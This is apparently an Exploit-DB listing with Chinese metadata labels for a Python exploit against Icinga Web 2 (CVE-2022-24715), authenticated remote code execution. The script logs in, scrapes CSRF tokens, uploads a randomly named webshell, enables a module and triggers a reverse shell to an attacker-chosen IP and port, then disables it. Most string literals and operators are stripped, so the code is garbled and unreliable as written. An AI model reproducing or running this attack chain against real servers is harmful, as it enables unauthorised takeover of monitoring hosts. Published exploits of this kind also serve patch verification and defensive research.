标题: Icinga Web 2.10 - Authenticated Remote Code Execution EDB-ID: 51586 CVE: 2022-24715 类型: WEBAPPS 平台: PHP 发布日期: 2023-07-15 漏洞利用脚本: #!/usr/bin/env python3

# Exploit Title: Icinga Web 2.10 - Authenticated Remote Code Execution 
# Date: 8/07/2023
# Exploit Author: Dante Corona(Aka. cxdxnt)
# Software Link: https://github.com/Icinga/icingaweb2
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icingaweb2
# Version: <2.8.6, <2.9.6, <2.10
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
# CVE: CVE-2022-24715
# Based on: https://nvd.nist.gov/vuln/detail/CVE-2022-24715

import requests,argparse,re,random,string
 colorama  ForeStyle

 
    letras  stringascii_lowercase
    character_random  randomchoicesletras k
     joincharacter_random


 
    parser  argparseArgumentParserdescription
    parseradd_argument required 
    parseradd_argument  required 
    parseradd_argument  required 
    parseradd_argument required
    parseradd_argument required
    args  parserparse_args
    url  argsurl
    user  argsuser
    passwordargspassword
    ip_attack  argsip 
    port_attack  argsport

     urluserpasswordip_attackport_attack

 urluserpassword
    
        login_url  url  
        session  requestsSession
        r  sessiongetlogin_url
        csrf_regex  refindallrrtext
        data_post  user
                    password
                    csrf_regex
                    
                    
                    
        response  sessionpostlogin_urldatadata_post
           responsetext
            f
            r  sessiongetlogin_url
        
            
            exit
        
     requestsexceptionsInvalidURL
        f
        exit
     sessioncsrf_regex

 sessionurlcharacter_randomcsrf_regex
    webshell  fcharacter_random
    upload_url  url  
    r  sessiongetupload_url
    csrf  refindallrrtext
    data_post 
                character_random
                f
                webshell
                
                csrf
                
                
    upload_response  sessionpostupload_urldatadata_post
    check  requestsgeturl  f
     checkstatus_code   
        f
        exit
    
        f
    
 sessionurlcharacter_random
    url_module  url
    r_module  sessiongeturl_module
    csrf_module  refindallrr_moduletext
    data_post  
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 f
                 
                 
                 
    resul  sessionposturl_moduledata_post
    
    url_enable  url 
    r_enable  sessiongeturl_enable
    csrf_enable  refindallrr_enabletext
    data_enable  ff
    resul_enable  sessionposturl_enabledata_enable


 sessionurlip_attackport_attackcharacter_random
    reverse_url  url  
    reverse_exe_one  reverse_url  f
    reverse_exe_two  reverse_url  f
    reverse_response_one  sessiongetreverse_exe_one
    
        reverse_response_two  sessiongetreverse_exe_two timeout
    
        f
        
    remove  sessiongetreverse_url  f
    disable_url  url  
    r_disable  sessiongetdisable_url
    csrf_disable  refindallrr_disabletext
    data_disable  fcsrf_disable
    response_disable  sessionpostdisable_urldatadata_disable



 sessionurlcharacter_random
    url_disable  url  



 __name__  
    character_random  letter_random
    urluserpasswordip_attackport_attack  users_url_password
    sessioncsrf_regex  loginurluserpassword 
    upload_filesessionurlcharacter_randomcsrf_regex
    enable_modulesessionurlcharacter_random
    reverse_shellsessionurlip_attackport_attackcharacter_random URL: https://www.exploit-db.com/exploits/51586